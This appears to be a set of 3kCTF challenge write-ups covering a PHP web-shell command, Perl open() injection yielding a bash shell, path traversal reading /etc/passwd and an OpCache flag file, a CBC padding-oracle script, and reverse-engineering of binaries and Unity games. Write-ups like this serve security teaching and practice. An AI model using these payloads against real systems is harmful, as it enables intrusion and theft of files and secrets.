bin boot dev etc home lib lib64 media mnt opt proc qUHwHtel41OiCDotoenbwdF5IgmWQ5_README root run sbin srv sys tmp usr var

[http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat%20/qUHwHtel41OiCDotoenbwdF5IgmWQ5_README](http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat /qUHwHtel41OiCDotoenbwdF5IgmWQ5_README)


flood - 11 solves

by adragos

The given script is vulnerable to open RCE (more info here https://stackoverflow.com/questions/26614348/perl-open-injection-prevention)

elsif($uInput eq "5"){
			print "! no";
			print "LOAD GAME SAVE...\n";
			open (SAVEGAME, "/app/files/".$name) or break;
			while ($line = <SAVEGAME>) {
				chomp $line;
			    $gold = $line ;
			    print "SAVE LOADED\n";

I first tried to do it the intended way, and solve 251*1000 math questions, but that took too long and the connection would end. I ended up looking some more at the script and found that it casts the input to int and does this if( ($subm) <= $gold and int($subm)>=0){, that means that if we pass something like -0.5 then it would be cast to 0 and it would add direct gold to our session. Doing this 520 times we get enough gold to save the file (trigger the open exploit).

from pwn import *

sh = remote('flood.3k.ctf.to', 7777)

sh.recvuntil('> ')
sh.recvuntil('> ')

for i in xrange(260*2):


By executing bash directly we can execute any command we want, to get actual output to our terminal we must append >&2 to our commands (to redirect stdout to stderr)

We can then just get the flag from /

? What you wanna do <test;bash|>
* u hav -260000 points
* u hav 260 gold
[7] EXIT
> $ 5
sh: 1: /app/files/test: not found
bash: cannot set terminal process group (14575): Inappropriate ioctl for device
bash: no job control in this shell
ctf@rekter0-flood:~$ $ ls / >&2
app                                              lib         sbin
bin                                              lib64       snap
boot                                             lost+found  srv
dev                                              media       sys
etc                                              mnt         tmp
fcad0373020fa6ede979389f558b396f4cd38ec1_README  opt         usr
home                                             proc        var
initrd.img                                       root        vmlinuz
initrd.img.old                                   run         vmlinuz.old
ctf@rekter0-flood:~$ $ cat fcad0373020fa6ede979389f558b396f4cd38ec1_README
cat: fcad0373020fa6ede979389f558b396f4cd38ec1_README: No such file or directory
ctf@rekter0-flood:~$ $ cat /fcad0373020fa6ede979389f558b396f4cd38ec1_README >&2
ctf@rekter0-flood:~$ $


carthagods - 10 solves(First Blood)

by sqrtrev


Salute the carthagods!

Author: rekter0, Dali

1. redacted source

When I approached to page, we can see the links like below

Baal		->	/baal
Tanit		->	/tanit
Dido		-> 	/dido
caelestis	->	/caelestis
phpinfo		-> 	/info.php
FLAG		-> 	/flag.php

We can guess the server is using mod_rewrite easily. And there is a folder named css and js.

If server has mis-configuration with mod_rewrite, we can get the name of variable.

So, If you access http://carthagods.3k.ctf.to:8039/js, you will get http://carthagods.3k.ctf.to:8039/js/?eba1b61134bf5818771b8c3203a16dc9=js.

Yeah, That parameter name was eba1b61134bf5818771b8c3203a16dc9.

we can get file contents like ?eba1b61134bf5818771b8c3203a16dc9=../../../../../etc/passwd

It's time to see phpinfo. There is something interesting with OpCache.

opcache.file_cache	=  /var/www/cache/

Server is using Opcache File. Now, we can realize there will be a cache file of flag.php. And that will not contains <?php (As the page was filtering that string, we need to bypass).

When I search about OpCache File, I got this document https://blog.alyac.co.kr/619 (written in Korean).

So, I can realize the cache file directory will be /var/www/cache/[system_id]/var/www/html/flag.php.bin.

For getting system_id, I used https://github.com/GoSecure/php7-opcache-override.

The system_id was e2c6579e4df1d9e77e36d2f4ff8c92b3 and I got flag from http://carthagods.3k.ctf.to:8039/?eba1b61134bf5818771b8c3203a16dc9=../../../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin


You shall not get my cookies - 12 solves

by adragos

CBC padding oracle task. Our goal is to send a ciphertext that when decrypted with AES CBC should contain Maple Oatmeal Biscuits

At first, I started by decrypting the given ciphertext:


from pwn import *

enc = '90C560B2A01529EF986E54B016E1FEAAD79A54BE52B373311E3B4F8251BE269EC199AE6B370BFCE50A54EEC25ABB0F22'.decode('hex')

decoded = ''

orig_IV = '\x00'*16#enc[-48:-32]
#encoded = '\x00'*16#enc[-32:-16]
encoded = 'e9090922d360872171fc8b8f5a1f31ed'.decode('hex')

def get_feedback(payload):
    sh = remote('youshallnotgetmycookies.3k.ctf.to', 13337)
    sh.recvuntil('whats your cookie: \n')
    if 'Nop' in sh.recvline():
        return True
    return False

IV = list(orig_IV)
while len(decoded) < 16:
    offset = -(len(decoded)+1)
    for i in range(256):
        IV[offset] = chr(i)
        iv = ''.join(IV)
        payload = (iv+encoded).encode('hex').upper()
        if get_feedback(payload) == True:

            decoded = xor(IV[offset], orig_IV[offset], abs(offset)) + decoded
            print 'decoded:',repr(decoded)
            for i in range(1,abs(offset)+1):
                IV[-i] = xor(IV[-i], len(decoded), len(decoded)+1)

    print 'done'

'hazelnut cookies chocolate chip cookie\n\n\n\n\n\n\n\n\n\n'

I ended up modified orig_IV and encoded manually (no time for fancy scripts) and ended up decoding the whole ciphertext:

hazelnut cookies chocolate chip cookie\n\n\n\n\n\n\n\n\n\n

We know the first block from the task description, that means that the IV is fixed by the server. To encrypt our message. We can start backwards.

First we send two blocks of null bytes

00000000000000000000000000000000 00000000000000000000000000000000

^ - this will be the IV ^ - we can now check what all null byte block encrypts to

We find that all null bytes block encrypts to 807a6a57ba14f40179f48387521739e5

We then xor this value with the end of our plaintext with the end 16 bytes of Maple Oatmeal Biscuits, we must take in consideration valid padding too and we get e9090922d360872171fc8b8f5a1f31ed. We repeat this for the first 16 bytes of our payload, trying to find out what e9090922d360872171fc8b8f5a1f31ed decrypts to and then just combine the results.

In the end, I solved this in python interactive

>>> from pwn import xor
>>> iv = xor(last, '\x80zjW\xba\x14\xf4\x01y\xf4\x83\x87R\x179\xe5')
>>> iv
>>> iv.encode('hex')
>>> ('e9090922d360872171fc8b8f5a1f31ed' + '0'*32).upper()
>>> (' Maple Oatmeal Biscuits ' + '\x08'*8)[:16]
' Maple Oatmeal B'
>>> first = (' Maple Oatmeal Biscuits ' + '\x08'*8)[:16]
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex')
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex').upper()
>>> xor(first,'\xdf\xb1\t\x18\xbc\xb1TO\x8c\xda\x05\x96\x17\x8d\x94R').encode('hex').upper() + 'E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000'

By sending FFFC6868D0D47400EDAE68F376E1B410E9090922D360872171FC8B8F5A1F31ED00000000000000000000000000000000 to the nc service (youshallnotgetmycookies.3k.ctf.to 13337) we get the flag


Passage - 8 solves

by adragos

"Simple" reverse challenge, because I ended up doing very little reverse engineering.

This is what the main function looks like, so many mov's, it would've been extremly hard to reverse this


By running the program, we can see that it just prints some text and then exits

adragos@wrecktheline:/mnt/c/Users/adragos/Desktop/3kctf/passage$ ./turing_says
We may hope that machines will eventually compete with men in all purely intellectual fields. But which are the best ones to start with? Even this is a difficult decision. Many people think that a very abstract activity, like the playing of chess, would be best. It can also be maintained that it is best to provide the machine with the best sense organs that money can buy, and then teach it to understand and speak English& Again I do not know what the right answer is, but I think both approaches should be tried.
you say?

What I did was load the binary with IDA debugger and put a breakpoint before the return of loop() function.

Then I just took a snapshot of the memory, and looked in the strings to find data


That looks like the flag to me


Game 2 - 41 solves

by QSharp


the shortest route is often the best

For Windows
For Linux

flag format is different:

When starting the Game, we find outselves in some kind of maze with some really bad lighting.

So I decided to just start cheat engine and find my player position. After looking for a float value, using the changed and unchanged options and testing remainding values, we finally find our position.

By just guessing, I set my position to 0,0 and I get the flag.


Game 1 - 30 solves

by tcode2k16


find your way to the heart of the maze

For Windows
For Linux

flag format is different:

For this challenge, we need to look more into the game logic. To accomplish this, I used another tool called ILSpy.

Opening Managed/Assembly-CSharp.dll, we are able to see most of the game logic:

// CTF.GameManager
using UnityEngine;

private void OnTriggerEnter(Collider other)
	if (other.tag == "Box1")
		if (isCollidingBox1)
		isCollidingBox1 = true;
	if (other.tag == "Box2")
		if (isCollidingBox2)
		isCollidingBox2 = true;
	if (other.tag == "Box3")
		if (isCollidingBox3)
		isCollidingBox3 = true;
	if (other.tag == "Box4")
		if (isCollidingBox4)
		isCollidingBox4 = true;
	if (other.tag == "Box5")
		if (isCollidingBox5)
		isCollidingBox5 = true;
	if (other.tag == "Box6" && !isCollidingBox6)
		isCollidingBox6 = true;
// CTF.UiManager
public void UpdateTexte(string textToAdd)
	textHolder.text += textToAdd;
	if (counter == 6)
		cText = Encrypt.current.DecryptString(textHolder.text);
		textHolder.text = cText;
// CTF.Encrypt
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

public string DecryptString(string key)
	byte[] array = Convert.FromBase64String(cipherText);
	using (Aes aes = Aes.Create())
		Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[13]
		aes.Key = rfc2898DeriveBytes.GetBytes(32);
		aes.IV = rfc2898DeriveBytes.GetBytes(16);
			using (MemoryStream memoryStream = new MemoryStream())
				using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
					cryptoStream.Write(array, 0, array.Length);
				cipherText = Encoding.Unicode.GetString(memoryStream.ToArray());
			return cipherText;
		catch (Exception)
			return "wrong Order mate ";

By reading the code, we see that the player is able to append six different words to a string in various orders by hitting different boxes in the maze. The concatenated string is then used as a key to decrypt a cipher message yielding the flag.

To recover the six words and the ciphertext, we can do a simple strings or xxd on the level0 asset file:


  • Tanit
  • Astarté
  • Amilcar
  • Melqart
  • Dido
  • Hannibal


  • jR9MDCzkFQFzZtHjzszeYL1g6kG9+eXaATlf0wCGmnf62QJ9AjmemY0Ao3mFaubhEfVbXfeRrne/VAD59ESYrQ==

At this point, a brute force script should be able to yield the flag, but for some reason, it did not work for me.

In a hopeful attempt, I marked out all the box locations and played the game hitting each of them in the shortest path. Luckily, it worked and gave me the flag...

order: Hannibal --> Dido --> Melqart --> Amilcar --> Astarté --> Tanit

flag: 3K-CTF-GamingIsNotACrime